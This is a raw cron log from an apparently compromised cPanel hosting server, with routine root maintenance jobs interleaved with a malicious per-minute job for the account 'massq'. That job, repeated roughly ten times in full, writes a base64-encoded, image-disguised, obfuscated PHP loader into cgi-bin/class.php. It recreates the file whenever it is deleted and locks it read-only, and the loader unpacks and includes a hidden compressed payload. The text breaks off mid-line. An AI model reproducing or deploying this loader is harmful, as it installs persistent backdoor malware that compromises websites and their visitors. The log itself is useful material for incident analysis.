Aug 30 06:05:02 server CROND[28635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:05:02 server CROND[28637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:05:02 server CROND[28639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:05:02 server CROND[28640]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:05:02 server CROND[28638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:05:02 server CROND[28643]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 06:05:02 server CROND[28642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:05:02 server CROND[28644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:06:01 server CROND[29574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:06:01 server CROND[29575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:06:01 server CROND[29576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:07:01 server CROND[29969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:07:01 server CROND[29970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:07:01 server CROND[29971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:08:01 server CROND[30381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:08:01 server CROND[30382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:08:01 server CROND[30383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:09:01 server CROND[30778]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 06:09:01 server CROND[30780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:09:01 server CROND[30781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:09:01 server CROND[30779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:10:01 server CROND[31168]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:10:01 server CROND[31169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:10:01 server CROND[31176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:10:01 server CROND[31177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:10:01 server CROND[31175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:10:01 server CROND[31178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:10:01 server CROND[31179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:10:01 server CROND[31181]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:11:01 server CROND[32156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:11:01 server CROND[32155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:11:01 server CROND[32157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:12:01 server CROND[32546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:12:01 server CROND[32547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:12:01 server CROND[32549]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 06:12:01 server CROND[32548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:13:01 server CROND[462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:13:01 server CROND[464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:13:01 server CROND[463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:14:01 server CROND[861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:14:01 server CROND[863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:14:01 server CROND[862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:15:01 server CROND[1411]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:15:01 server CROND[1413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:15:01 server CROND[1414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:15:02 server CROND[1415]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 06:15:02 server CROND[1416]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 30 06:15:02 server CROND[1418]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:15:02 server CROND[1420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:15:02 server CROND[1422]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 06:15:02 server CROND[1419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:15:02 server CROND[1421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:16:01 server CROND[2410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:16:01 server CROND[2411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUS